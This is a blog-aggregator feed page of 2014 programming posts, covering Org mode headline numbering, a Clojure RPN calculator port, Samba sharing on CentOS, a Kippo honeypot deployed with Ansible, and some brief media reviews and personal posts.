[DONE]{.done .DONE} unify-opening

[DONE]{.done .DONE} use-package: lunaryorn.

[DONE]{.done .DONE} sunshine.el.

[DONE]{.done .DONE} youtube-dl: or emacs.

Org Mode Selective Section Numbering

bastibe.de — Wed, 03 Dec 2014 02:00:00 GMT

This is the third revision of a post about selective headline numbering in Org mode. On its own, Org mode can either number all headlines, or none. For scientific writing, this is a non-starter. In a scientific paper, the abstract should not be numbered, the main body should be numbered, and appendices should not be numbered.

In LaTeX, this is easy to do: \section{} creates a numbered headline, while \section*{} creates an unnumbered section. Org mode does not have any facility to control this on a per-headline basis, but it can be taught:

(defun headline-numbering-filter (data backend info)
  "No numbering in headlines that have a property :numbers: no"
  (let* ((beg (next-property-change 0 data))
         (headline (if beg (get-text-property beg :parent data))))
    (if (and (eq backend 'latex)
         (string= (org-element-property :NUMBERS headline) "no"))
        (replace-regexp-in-string
         "\\(part\\|chapter\\|\\(?:sub\\)*section\\|\\(?:sub\\)?paragraph\\)"
         "\\1*" data nil nil 1)
      data)))

(setq org-export-filter-headline-functions '(headline-numbering-filter))

This creates a filter (an Org mode convention similar to a hook), which appends the asterisk to LaTeX headlines if the headline has a property :NUMBERS: no. If all you do is export to LaTeX, this works well.

If you need to export to HTML as well, things get more complicated. Since HTML does not have native numbering support, Org is forced to manually create section numbers. But times have changed, and with CSS3, HTML now indeed does support native numbering!

Here is some CSS that uses CSS3 counters to number all headlines and hide Org's numbers:

/* hide Org-mode's section numbers */
span.section-number-2 { display: none; }
span.section-number-3 { display: none; }
span.section-number-4 { display: none; }
span.section-number-5 { display: none; }
span.section-number-6 { display: none; }

/* define counters for the different headline levels */
h1 { counter-reset: section; }
h2 { counter-reset: subsection; }
h3 { counter-reset: subsubsection; }
h4 { counter-reset: paragraph; }
h5 { counter-reset: subparagraph; }

/* prepend section numbers before headlines */
h2::before {
    content: counter(section) " ";
    counter-increment: section;
}
h3::before {
    content: counter(section) "." counter(subsection) " ";
    counter-increment: subsection;
}
h4::before {
    content: counter(section) "." counter(subsection) "." counter(subsubsection) " ";
    counter-increment: subsubsection;
}
h5::before {
    content: counter(section) "." counter(subsection) "." counter(subsubsection) "." counter(paragraph) " ";
    counter-increment: paragraph;
}
h6::before {
    content: counter(section) "." counter(subsection) "." counter(subsubsection) "." counter(paragraph) "." counter(subparagraph) " ";
    counter-increment: subparagraph;
}

/* suppress numbering for headlines with class="nonumber" */
.nonumber::before { content: none; }

With this in place, we can extend the previous filter to work for HTML as well as LaTeX:

(defun headline-numbering-filter (data backend info)
  "No numbering in headlines that have a property :numbers: no"
  (let* ((beg (next-property-change 0 data))
         (headline (if beg (get-text-property beg :parent data))))
    (if (string= (org-element-property :NUMBERS headline) "no")
        (cond ((eq backend 'latex)
               (replace-regexp-in-string
                "\\(part\\|chapter\\|\\(?:sub\\)*section\\|\\(?:sub\\)?paragraph\\)"
                "\\1*" data nil nil 1))
              ((eq backend 'html)
               (replace-regexp-in-string
                "\\(<h[1-6]\\)\\([^>]*>\\)"
                "\\1 class=\"nonumber\"\\2" data nil nil)))
      data)))

(setq org-export-filter-headline-functions '(headline-numbering-filter))

Previously, I implemented this in Org mode only (no CSS). While that worked as well, it required the modification of some fairly low-level Org functions. The CSS-based solution is much simpler, and should be much easier to maintain and adapt.

RPN Calc Part 8 – Moving to Clojure

Mike Schaeffer — Tue, 02 Dec 2014 02:00:00 GMT

So far in this series, I’ve taken a basic calculator written in Java and transformed it from a command-oriented procedural design into a more functional style. In some ways, this has made for simpler code: calculator state is better encapsulated in value objects, and explicit control flow structures have been replaced with domain-specific higher order functions. Unfortunately, Java wasn’t designed to be a functional language, so the notation has become progressively more cumbersome and lengthy. 151 lines of idiomatic Java is now 327 lines of inner classes, custom iterators, and inverted control flow patterns. It should be difficult to get this kind of code through a serious Java code review.

Despite this difficulty, there is value in the functional design approach; What we need is a new notation. To show what I mean, this article switches gears and ports the latest version of the calculator from Java to Clojure. This reduces the size of the code from 327 lines down to a more reasonable-for-the-functionality 82. More importantly, the new notation opens up new opportunities for better expressiveness and further optimization. Building on the Clojure port, I’ll ultimately build out a version of the calculator that uses eval for legitimate purposes, and compiles calculator macros and can run them almost as fast as code written directly in Java.

The first step to understanding the Clojure port is to understand how it’s built from source. For the Java versions of the code, I used Apache Maven to automate the build process. Maven provides standard access to dependencies, a standard project directory structure, and a standard set of verbs for building, installing, and running the project. In the Clojure world, the equivalent tool is called Leiningen. It provides the same structure and services for a Clojure project as Maven does for a Java project, including the ability to pull in Maven dependencies. While it’s possible to build Clojure code with Maven, Leiningen is a better choice for new work, largely because it’s more well integrated into the Clojure ecosystem out of the box.

For the RPN calculator project, the project definition file looks like this:

(defproject rpn-calc "0.1.0-SNAPSHOT"
  :description "KSM Partners - RPN Calculator"
 
  :license {:name "Eclipse Public License"
            :url "http://www.eclipse.org/legal/epl-v10.html"}
 
  :dependencies [[org.clojure/clojure "1.5.0"]]
 
  :repl-options {
                 :host "0.0.0.0"
                 :port 53095
                 }
 
  :main rpn-calc.main)

This file contains the same sorts of information as the equivalent POM file for the Java version of the project. (In fact, Leiningen provides way to take a Leiningen project definition file and translate it into an equivalent Maven pom.xml.) Rather than XML, the Leiningen project file is written in an S-expression, and it contains a few additional settings. Notably, the last line is the name of the project’s entry point: the function that gets called when Leiningen runs the project. For this project, rpn-calc.main is a function that ultimately delegates to one of three entry points for the three Clojure versions of the calculator. For this post, the implementation specific entry point looks like this:

(defn main []
  (loop [ state (make-initial-state) ]
    (let [command (parse-command-string (read-command-string state))]
      (if-let [new-state (apply-command state command)]
        (recur new-state)
        nil))))

public void main() throws Exception
{
    State state = new State();
 
    while(state != null) {
        System.out.println();
        showStack(state);
        System.out.print("> ");
 
        String cmdLine = System.console().readLine();
 
        if (cmdLine == null)
            break;
 
        Command cmd = parseCommandString(cmdLine);
 
        state = cmd.execute(state);
    }
}

Unwrapping the code, both function definitions include construction of the initial state and then the body of the Read-Eval-Print-Loop. These two lines of code include both elements.

(loop [ state (make-initial-state) ]
    ...
    (recur new-state))

The loop form, surrounded by parentheses, is the body of the loop. Any loop iteration variables are defined and initialized within the bracketed form at the beginning of the loop. In this case, a variable state is initialized to hold the value returned by a call to make-initial-state. Within the body of the loop, there can be one or more recur forms that jump back to the beginning of the loop and provide new values for all the iteration variables defined for the loop. This gives a bit more flexibility than Java’s while loop: there can be multiple jumps to the beginning of a loop.

The body of this loop form is entirely composed of a let form. A let form establishes local variable bindings over a block of source code and provides initial values for those variables. If this sounds a lot like a loop form without the looping, that’s exactly what it is.

(let [command (parse-command-string (read-command-string state))]
   ...)

This code calls read-command-string, passing in the current state and then passes the returned command string into a call to parse-command-string. The result of this two step read process is the Clojure equivalent of a command object, which is modeled as a function from a calculator state to a state.

Digressing a moment, there are several attributes of the Clojure syntax that are worth pointing out. The most important is that, as with most Lisps, parenthesis play a major role in the syntax of the language. Parenthesis (and braces and brackets) delimit all statements and expressions, group statements into logical blocks, delimit function definitions, and serve as the syntax for composite object literals. In contrast, a language like Java uses a combination of semicolons, braces, and parsing grammar to serve the same purposes. This gives Clojure a more homogeneous syntax, but a syntax with fewer rules that’s easier to parse and analyze. Explicit statement delimiters also allow Lisp more freedom to pick symbol names. Symbols in Lisp can include characters (‘-‘, ‘<', '&', etc.) that infix languages can't use for the purpose, because the explicit statement grouping makes it easier to distinguish a symbol from its context. The topic of Lisp syntax is really interesting enough for its own lengthy series of posts and articles. Going back to the Clojure calculator's main loop, the next statement in the loop is yet another binding form. Like loop, this binding form also includes an element of control flow.

(if-let [new-state (apply-command state command)]
   (recur new-state)
   nil)

It may be easiest to see the meaning of this block of code by paraphrasing it into Java:

State newState = applyCommand(state, command);
 
if (newState != null)
    return recur(newState);
else
    return null;

What if-let does is to establish a new local variable and then conditionally pick between two alternative control flow paths based on the value of the new variable. It’s a common pattern within code, so it’s good to have a specific syntax for the purpose. What’s interesting about Clojure, though, is that if the language didn’t have it built in, a programmer working in Clojure could add it with a macro and you couldn’t tell the difference from built-in features. (In fact, the default Clojure implementation of if-let is itself a macro.)

At this point, I’ve covered the basic structure of the Clojure project, as well as the project’s main entry point. Subsequent posts will cover modeling of application state within Clojure, as well as the command parser, and the commands themselves. Once I’ve covered the basic functionality of the calculator, I’ll use that as a starting point to discuss custom syntax for command definitions, and ultimately a compiler for the calculator.

Netezza: failed to create external table for bulk load

Craig Pardey — Sun, 30 Nov 2014 02:00:00 GMT

I came across an interesting problem recently in some JDBC code that was inserting rows into a Netezza database.

The Java code was doing something like this:

Statement stmt ...
for( SomeObject o : listOfObjects) {
	String sql = "INSERT INTO tbl(col1, col2) values (?,?)";
	...
	stmt.addBatch(sql);
}
stmt.executeBatch();

On the “executeBatch()”, a SQLException was being thrown that said “failed to create external table for bulk load”.

What? But it wasn’t a bulk load. There were no external tables involved - it was a batch of vanilla inserts.

A modern MUD?

Ben Overmyer's Site — Sun, 30 Nov 2014 02:00:00 GMT

I'm planning a MUD, built for my friends and myself. Trying to figure out what tech to use. Maybe Java? Maybe NodeJS? We'll see.

I definitely don't want to use any pre-existing MUD code. I know, this means I'll need to solve a lot of problems that have already been solved many times before. That's part of the point, though; I want to figure all of it out for myself.

The game mechanics don't matter much at this point. The focus is on two things - learning how to write a game of this type, and producing a typographically beautiful game.

Up to now, typography has made little difference for MUDs. I'd like to change that.

Machine Learning Study Log

Honest Musings — Sat, 29 Nov 2014 13:30:00 GMT

6:45 pm, Nov 30, 2014. – Coffee shop. Someone’s sitting in my seat 😦 Resist temptation to offer cash for the seat. – Checked out scikit tutorials. Lots of text devoted about library itself(obviously). I can do implementation or figure it out. I realise I want to learn the concepts before I jump into code. … Continue reading

Dawn of the Planet of the Apes

🦉 olshansky 🦁 — Sat, 29 Nov 2014 13:20:50 GMT

Olshansky's review of Dawn of the Planet of the Apes

Predestination

🦉 olshansky 🦁 — Sat, 29 Nov 2014 13:19:11 GMT

Olshansky's review of Predestination

FreeBSD on Google Compute Engine

Fabrice Aneche — Sat, 29 Nov 2014 02:29:34 GMT

First you need to create a VirtualBox FreeBSD install using a 10G qcow format, use an SCSI controller for the install as the disk will be visible as da0 inside GCE. On FreeBSD 10.1 I had to load virtio manually, so set this in /boot/loader.conf `virtio_load="YES" virtio_pci_load="YES" virtio_blk_load="YES" if_vtnet_load="YES"` Copy your ssh key in your home user .ssh/authorized_keys, be sure to be in the wheel group. On a Mac you need to install GNU tar (brew install gnu-tar), shutdown your VirtualBox vm and upload your image to GCE

Chmod Calculator

Sam Solomon — Fri, 28 Nov 2014 02:00:00 GMT

A free chmod calculator for Linux and Unix file permissions. Tick the boxes for owner, group and other to get the octal mode and the chmod command.

Replying to mailing lists with Evolution

The Technical Blog of James on purpleidea.com — Thu, 27 Nov 2014 22:28:54 GMT

I use the Evolution mail client. It does have a few annoying bugs, but it has a plethora of great features too! Hopefully this post will inspire you to help hack on this piece of software and fix the bugs!

Mailing list etiquette:

When replying to mailing lists, it’s typically very friendly to include the email address of the person you’re replying to in the to or cc fields along with the mailing list address. This lets that person know that someone has answered their question. In some cases, if they’re not subscribed to that mailing list, (if you don’t do this), then they might not see your reply at all.

Game of Thrones: Season 3

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:45:27 GMT

Olshansky's review of Game of Thrones: Season 3

Game of Thrones: Season 2

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:45:19 GMT

Olshansky's review of Game of Thrones: Season 2

Game of Thrones: Season 1

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:45:11 GMT

Olshansky's review of Game of Thrones: Season 1

Sherlock: Season 3

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:43:39 GMT

Olshansky's review of Sherlock: Season 3

Sherlock: Season 2

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:43:33 GMT

Olshansky's review of Sherlock: Season 2

Sherlock: Season 1

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:43:28 GMT

Olshansky's review of Sherlock: Season 1

How I Met Your Mother: Season 9

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:41:51 GMT

Olshansky's review of How I Met Your Mother: Season 9

Dexter: Season 8

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:40:44 GMT

Olshansky's review of Dexter: Season 8

Lost: Season 6

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:40:03 GMT

Olshansky's review of Lost: Season 6

Fringe: Season 5

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:39:01 GMT

Olshansky's review of Fringe: Season 5

The Walking Dead: Season 4

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:37:39 GMT

Olshansky's review of The Walking Dead: Season 4

The Walking Dead: Season 3

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:37:32 GMT

Olshansky's review of The Walking Dead: Season 3

The Walking Dead: Season 2

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:37:26 GMT

Olshansky's review of The Walking Dead: Season 2

The Walking Dead: Season 1

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:37:20 GMT

Olshansky's review of The Walking Dead: Season 1

House of Cards: Season 1

🦉 olshansky 🦁 — Thu, 27 Nov 2014 06:36:56 GMT

Olshansky's review of House of Cards: Season 1

Gotham: Season 1

🦉 olshansky 🦁 — Thu, 27 Nov 2014 05:02:10 GMT

Olshansky's review of Gotham: Season 1

Captive web portals are considered harmful

The Technical Blog of James on purpleidea.com — Thu, 27 Nov 2014 02:46:06 GMT

Recently, when I tried to access http://slashdot.org/ in Firefox, I would see my browser title bar flash briefly to “AT&T GUI”, and then I would get redirected to: http://slashdot.org/cgi-bin/redirect.ha which returns slashdot’s custom error 404 page! What is going on? (Read on for answer…)

Did slashdot mess up their mod_rewrite config? (Nope, works fine in a different browser...)
Did my HTTPS everywhere extension go crazy? (Nope, still broken when disabled...)
Are my HTTP requests being MITM-ed? (Yes, probably by the NSA, but they wouldn't make this kind of mistake...)
Is my computer p0wned? (I use GNU/Linux, so probably not...)

A keyword search will show you that others are also affected by this, except that the base domain (slashdot.org) is usually different... One thing that all the links I viewed have in common: none of them seem to know what's happening.

Some background:

Introducing Eve.NET the HTTP/REST Client for Humans™

Nicola Iarocci — Thu, 27 Nov 2014 02:00:00 GMT

Eve.NET is a simple HTTP and REST client for Web Services powered by the Eve Framework. It leverages both System.Net.HttpClient and Json.NET to provide the best possible Eve experience on the .NET platform.

Written and maintained by the same author of the Eve Framework itself, Eve.NET is delivered as a portable library (PCL) and runs seamlessly on .NET4, Mono, Xamarin.iOS, Xamarin.Android, Windows Phone 8 and Windows 8. We use Eve.NET internally to power our iOS, Web and Windows applications.

Setting up Samba home folder shares for a CentOS 6 server and Mac OS X client

Jonathan Chang — Wed, 26 Nov 2014 23:59:28 GMT

Update: Setting up home directory shares is now much easier on CentOS 7.

On Mac OS X if you want to share your home folder over the network with authentication, you only have to tick a check box in System Preferences and It Just Works™. On CentOS Linux? Well…

Today I wanted to access my home folder on our Linux analysis machine over the network on a Mac OS X client. Although I could have just done everything in a Terminal, I like the pretty graphics of Finder and being able to see my files without typing ls -l. The Linux machine in question is one I installed CentOS 6 on a while back. (Which, by the way, was a big mistake, since CentOS apparently does not maintain packages for things younger than a decade).

I first looked into using NFS since apparently that’s the thing you use for Linux machines, but if you don’t want NFS to share your files with the entire world, you need to set up a Kerberos key distribution service. That is unappealing given that I just want to access my own files over the network. So I settled on Samba instead. (Apple Filing Protocol, the only other option for an OS X client, is 100% out of the question because it is awful and I’m pretty sure it’s not supported on Linux).

Configuration files

There are roughly a dozen configuration files you need to edit in order for Samba to work properly. I don’t actually know which files I need to edit, I just kept doing things I found on the Internet until Samba started working.

/etc/samba/smb.conf: We want to let each user access their own home directory over Samba.

[global]
   workgroup = WORKGROUP
   server string = Samba Server
   netbios name = SAMBA
   # change hosts allow to the subnet you want to share files across
   hosts allow = 192.168.0.
   log file = /var/log/samba/log.%m
   max log size = 50
   security = user
   map to guest = bad user
   passdb backend = tdbsam
# this will let people log into their own home directories
[homes]
comment = Home Directories
browseable = no
writable = yes
valid users = %S
create mask = 0700
directory mask = 0700

/etc/sysconfig/iptables: I don’t know if these are all needed but it seems to work. Again change the subnet with the one you want to actually share across (to match hosts allow in smb.conf)

    -A INPUT -s 192.168.0.0/24 -m state --state NEW -p udp --dport 137 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p tcp --dport 137 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p udp --dport 138 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p tcp --dport 138 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p tcp --dport 139 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p udp --dport 139 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p tcp --dport 445 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p udp --dport 445 -j ACCEPT

  

Then restart the services with

    # service iptables restart
iptables: Flushing firewall rules:                         [  OK  ]
iptables: Setting chains to policy ACCEPT: filter          [  OK  ]
iptables: Unloading modules:                               [  OK  ]
iptables: Applying firewall rules:                         [  OK  ]
# service smb restart
Shutting down SMB services:                                [  OK  ]
Starting SMB services:                                     [  OK  ]

  

We also need to let SELinux know that we’re not doing any terrorist activities on our Samba share:

# setsebool -P samba_enable_home_dirs on

Now to test it locally with smbclient:

    $ smbclient //localhost/myuser -U myuser
Enter myuser's password:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.6.23-12.el6]
tree connect failed: NT_STATUS_ACCESS_DENIED

  

OK, so that bit in smb.conf about passdb backend = tdbsam requiring “no further configuration” is apparently a total lie. Luckily there exists smbpasswd for backwards compatibility, so let’s just use that:

    # smbpasswd -a myuser
New SMB password:
Retype new SMB password:
Added user myuser.

  

Trying smbclient again yields:

    $ smbclient //localhost/myuser -U myuser
Enter myuser's password:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.6.23-12.el6]
smb: \>

  

Victory! Now to test it on OS X. In Finder, click Go => Connect to Server… and enter smb://192.168.0.101 (or whatever your server is called) and type in your credentials. Hopefully it works!

Footnote

I don’t know why it is so complicated. I suspect that ultimately it’s my own fault for installing CentOS but honestly I’m inclined to think that everything involving Linux is awful and terrible.

Deploying Kippo with Ansible

Erethon's Corner — Tue, 25 Nov 2014 14:38:06 GMT

I've been running some instances of Kippo for quite some while now with great results. I recently wrote an Ansible playbook to automate the process of deploying Kippo hosts and also make it scalable. You can find the playbook on my GitHub page, specifically here.

Supercharge your Android Application-2(Views).

Prasham H Trivedi — Tue, 25 Nov 2014 02:00:00 GMT

In the second part of the series, we will focus on how to optimise the views to make applications smoother.

Lean tools

Separate Concerns — Sun, 23 Nov 2014 22:45:00 GMT

Two people I respect a lot, Avdi Grimm and Michel Martens, are having an interesting debate about the complexity of programming tools and libraries.

In the Ruby community, Michel is well-known for writing simple tools that do their job well. Avdi defends the framework approach of Rails, arguing that using fatter tools allows you to make your own code simpler. If you want to hear them debate it, listen to the podcast.

It will not surprise people who know me that I side with Michel here. Actually, I am probably more extreme than he is: I used his Redis Object Mapper at Moodstocks some years ago, but I eventually went back to using redis-rb directly, and finally dropped the Ruby language entirely. You can also see by yourself how much I obsess about simplicity by looking as my list of quotes.

I feel like most programmers do not reason like Michel and me regarding this, and it seems to me those who do often have similar backgrounds in Unix and maintenance of production systems. Maybe as a result, we tend to take a system approach to everything, so when we evaluate the complexity of software, we take into account the complexity of dependencies as well as the complexity of the application code itself.

When running production systems, the most important thing you want to optimize for is the speed with which you can diagnose and recover from a problem. Reliability is also important, sure, but you quickly learn that no matter how good the software you use is, it will fail (coincidentally, another host of the podcast talks about that on her blog). For that purpose, you want few moving pieces, each one being simple enough for you to understand it.

You can take this idea very far. Around 2007 I thought about how nice it would be to know a programming language so well that 1) there would be nothing in it I would not know about and 2) I would be able to know exactly what every line of code I wrote did internally. At the time, I wondered if it would require me to pick a language like Forth or LISP implement it myself. It turned out not to: I discovered Lua, whose reference implementation is roughly 15000 lines of (readable) C code. It has been my dynamic language of choice ever since.

When I have a problem to solve, I look for the simplest Open Source tool that does it and weigh the cost of implementing the feature myself against the cost of using and maintaining this tool. Tools usually win when they just do what I wanted; they lose when they do too many things or pull in too many dependencies I did not already use.

Many Ruby programmers, when they install a gem that pulls in several dependencies and compiles some C code, think: “How nice! All of this is automated for me!” The reaction of an operations person, on the other hand, is closer to this:

When I write Open Source tools myself, I try to reason the same way. For instance, I wrote a small Beanstalk client for Lua called haricot. The protocol used by Beanstalk has a few methods that return YAML. Those methods are for monitoring and are typically not used by job producers or consumers.

YAML being a terribly complicated format (please do not use it), all the YAML parsers I know about in Lua land are bindings to C libraries, making them annoying to install and maintain. I had to decide between choosing one of them and making it a dependency or writing my own code to parse the subset of YAML used by Beanstalk.

I chose a third solution: returning raw YAML to the user. Yes, this is “pushing the complexity upstream”. But most users of this library will never need those methods. In the test suite, I auto-detect the presence of a YAML parser and skip related tests if none is available.

Eventually, this is a matter of choice. Avdi is right: fat tools usually exist for good reasons, not because their authors did not think of a simpler solution. Choosing whether to use them or not has to be a conscious trade-off. I just personally decided there are very few things I want to trade simplicity off against.

Reconnaissance on Shadab

Playground — Sun, 23 Nov 2014 02:00:00 GMT

Once, me and Shadab were discussing, how traceable were we on the Internet? So, we decided to do this reconnaissance on each other. This is the documentation of how I did the same on him and how much I could trace him.

72 hours in London

Jonathan Jones homepage: planetjones.net — Sat, 22 Nov 2014 02:00:00 GMT

A visit to London was long overdue - so we headed for 72 hours of sightseeing, tourist attractions and to stuff our faces full of food!

Screenshot Saturday 199

Evan Todd — Fri, 21 Nov 2014 23:48:27 GMT

"Level design for days" has been my motto for several months now, and this week is no different.

Behold, new challenge levels! These are timed, bite-sized maps with simple goals that can be completed in under a minute. They're the kind of things you can create in the level editor and share on Steam.

I need to find a new texture for that garish green material.

Lots of other things are happening, but they're more like a million tiny updates rather than a few conveniently screenshot-worthy ones. So that's it for this week! Thanks for reading.

Guardians of the Galaxy

🦉 olshansky 🦁 — Fri, 21 Nov 2014 16:06:10 GMT

Olshansky's review of Guardians of the Galaxy

Kelly Sutton: Creator of Designer News & CEO of Layervault

Sam Solomon — Fri, 21 Nov 2014 02:00:00 GMT

Creating a community is no easy task. When LayerVault founders Kelly Sutton and Allan Grinshtein saw engineers were edging out designers in other communities…

Pitch Perfect

🦉 olshansky 🦁 — Thu, 20 Nov 2014 14:32:41 GMT

Olshansky's review of Pitch Perfect

Managing scientific data and interchange with industry

Negative Feedback — Thu, 20 Nov 2014 09:38:49 GMT

I spoke at a recent symposium on the difficulties in managing data interchange with industry.

Just for some context, "industry" here stands for personnel involved in process control and modelling activities. My direct experience is in the petrochemical, mining and paper and pulp industries. I also show an example of data from a piece of analytical equipment.

I've uploaded the source on GitHub here, and you can see the notebook without downloading it by using NBViewer.

I've spoken about the pattern of intermediates on this blog before (in a slightly different context).

Notably absent from this discussion are any kind of database, since my experience is that if you can't e-mail it, it might as well not exist when talking to the kinds of people I work with. I've used sqlite quite extensively myself, but I have found most people want something they can double-click and just have it work.

If you have different experiences, I'm always eager to learn. I am specifically interested in how people who use client-server databases for their data handle the problem of interchange.

Deploying lighttpd, your flask-apps, gunicorn and supervisor with Ansible on CentOS

zufallsheld — Wed, 19 Nov 2014 23:38:52 GMT

Deploying your first Python-app can be tedious if you want to do everything by yourself. There are many great tutorials that help you set up all the necessary programs you’ll need to host your webapp.

And trust me, it’s not easy: You’ll have to use a webserver …

Prevent People from Forwarding or Replying All in Outlook

Justin Garrison's Homepage — Wed, 19 Nov 2014 22:30:07 GMT

If you frequently send out mass email news letters and keep getting users replying to all recipients, or need to

No more starving snails

Liza Shulyayeva — Wed, 19 Nov 2014 14:55:06 GMT

Dear jar capacity validator,

I’m sorry I ever doubted you. I thought you were killing my snails, but really it’s my lack of you that caused the problem. I am the one guilty of virtual snailslaughter.

Game of Life: Total War - an analysis

Sam says you should read this — Wed, 19 Nov 2014 10:52:41 GMT

Approximately 4 weeks ago, I launched a side project, called Game of Life: Total War. It is a multi-player, competitive variant of Conway's Game of Life. It spent some time on the front page of Hacker News, and some time on the front page of /r/programming on Reddit.

Apart from Linode sending me emails at 3AM telling me that my CPU usage was too high (thanks, HN), it all held up pretty well. So far there have been over 3000 challenges created, almost 2000 armies, and about 300 user accounts created (you can create an army and play without creating an account, but accounts let you create and ke…

Writing a Thesis in Org Mode

bastibe.de — Wed, 19 Nov 2014 02:00:00 GMT

Most of my peers write all their scientific documents in LaTeX. Being a true believer in the power of Emacs, I opted for writing my master's thesis in Org Mode instead. Here's my thoughts on this process and how it compares to the usual LaTeX work flow.

In my area of study, a thesis is a document of about 60 pages that contains numerous figures, math, citations, and the occasional table or source code snippet. Figures are usually graphs that are generated in some programming environment and creating those graphis is a substantial part of writing the thesis.

Org mode was a huge help in this regard, since it combines the document text and the executable pieces of code. Instead of having a bunch of scripts that generate graphs, and a bunch of LaTeX files that include those graphs, I had one big Org file that included both the thesis text and the graphing code.

As for the thesis text, I used Org's export functionality to convert the Org source to LaTeX, and compiled a PDF from there. This really works very well: It is very nice to use Org headlines instead of \section{...}, and clickable Org links instead of \ref{...}. While this is nice, it is just a change of syntax. I still had to enter the very same things and saving a few characters is not particularly impressive. For example, figures still require a caption, an ID, and a size:

#+CAPTION: Modulation tracks of a clarinet recording with and without white noise. The modulation tracks are not normalized.
#+ATTR_LATEX: :width 6in :height 2.5in :float multicolumn
#+NAME: fig:summary_tracks
[[file:images/summary_tracks.pdf]]

In LaTeX, this would be

\begin{figure*}
\centering
\includegraphics[width=6in,height=2.5in]{images/summary_tracks.pdf}
\caption{\label{fig:summary_tracks}Modulation tracks of a clarinet recording with and without white noise. The modulation tracks are not normalized.}
\end{figure*}

As you can see, there really is not that much of a difference between these two, and you might even consider the LaTeX example more readable. In some other areas, Org mode is simply lacking features: Org does not have any syntax for page formatting, and thus can't create a perfectly formatted title page. Similarly, it can't do un-numbered sections, and it can't do numbered equations. For all of those, I had to fall back to writing LaTeX. This is not a big deal, but it breaks the abstraction.

A bigger problem is that Org documents include all the chapters in one big file. While Org can deal with large files no problem, it means that LaTeX compiles take a while. In LaTeX, I would have split my document into a number of smaller files that could be separately compiled in order to keep compilation time down. This is confounded by Org's default behavior of deleting intermediate LaTeX files, which forces a full triple-recompile on each export. At the end of my thesis, a full export took about 15 seconds. Not a deal-breaker, but annoying.

The one thing where Org really shines, though, is the inclusion of code fragments: Most of my figures were created in Python, and Org mode allowed me to include that Python code right in my document. Hit C-c C-c on any code fragment, and Org ran that code and created a new image file that is automatically included as a figure. This was really tremendously useful!

At the end of the day, I am not sure whether Org mode is the right tool for writing a thesis. It worked fine, but there were a lot of edge cases and workarounds, which made the whole process a bit uncomfortable. The only really strong argument in favor of Org is the way it can include both code and prose in the same document. But maybe a similar thing could be implemented with LaTeX and some literate programming tool.

SIGGRAPH Asia 2014 Paper- A Framework for the Experimental Comparison of Solar and Skydome Illumination

Code & Visuals — Wed, 19 Nov 2014 02:00:00 GMT

One of the projects I worked on in my first year as part of Cornell University’s Program of Computer Graphics has been published in the November 2014 issue of ACM Transactions on Graphics and is being presented at SIGGRAPH Asia 2014! The paper is “A Framework for the Experimental Comparison of Solar and Skydome Illumination”, and the team on the project was my junior advisor Joseph T. Kider Jr., my lab-mates Dan Knowlton and Jeremy Newlin, myself, and my main advisor Donald P. Greenberg.

The bulk of my work on this project was in implementing and testing sky models inside of Mitsuba and developing the paper’s sample-driven model. Interestingly, I also did a lot of climbing onto the roof of Cornell’s Rhodes Hall building for this paper; Cornell’s facilities was kind enough to give us access to the roof of Rhodes Hall to set up our capture equipment on. This usually involved Joe, Dan, and myself hauling multiple tripods and backpacks of gear up onto the roof in the morning, and then taking it all back down in the evening. Sunny clear skies can be a rare sight in Ithaca, so getting good captures took an awful lot of attempts!

Here is the paper abstract:

The illumination and appearance of the solar/skydome is critical for many applications in computer graphics, computer vision, and daylighting studies. Unfortunately, physically accurate measurements of this rapidly changing illumination source are difficult to achieve, but necessary for the development of accurate physically-based sky illumination models and comparison studies of existing simulation models.

To obtain baseline data of this time-dependent anisotropic light source, we design a novel acquisition setup to simultaneously measure the comprehensive illumination properties. Our hardware design simultaneously acquires its spectral, spatial, and temporal information of the skydome. To achieve this goal, we use a custom built spectral radiance measurement scanner to measure the directional spectral radiance, a pyranometer to measure the irradiance of the entire hemisphere, and a camera to capture high-dynamic range imagery of the sky. The combination of these computer-controlled measurement devices provides a fast way to acquire accurate physical measurements of the solar/skydome. We use the results of our measurements to evaluate many of the strengths and weaknesses of several sun-sky simulation models. We also provide a measurement dataset of sky illumination data for various clear sky conditions and an interactive visualization tool for model comparison analysis available at http://www.graphics.cornell.edu/resources/clearsky/.

The paper and related materials can be found at:

Joe Kider will be presenting the paper at SIGGRAPH Asia 2014 in Shenzen as part of the Light In, Light Out Technical Papers session. Hopefully our data will prove useful to future research!

Addendum 2017-04-26

I added a personal project page for this paper to my website, located here. My personal page mirrors the same content found on the main site, including an author’s version of the paper, supplemental materials, and more.

Delighting in God

trv.rs — Wed, 19 Nov 2014 02:00:00 GMT

Delight yourself in the Lord, and he will give you the desires of your heart. (‭Psalm‬ ‭37‬:‭4‬ ESV)

Abba, forgive my blindness.

If this verse read “pause momentarily at the altar, if you look worshipful enough your request will be granted” then I would be following it to the letter.

I have ever glossed over the command and instead hungrily and sinfully lusted after the blessing. I know well the desires of my heart, and they have driven me deeper in despair as I wait and wonder.

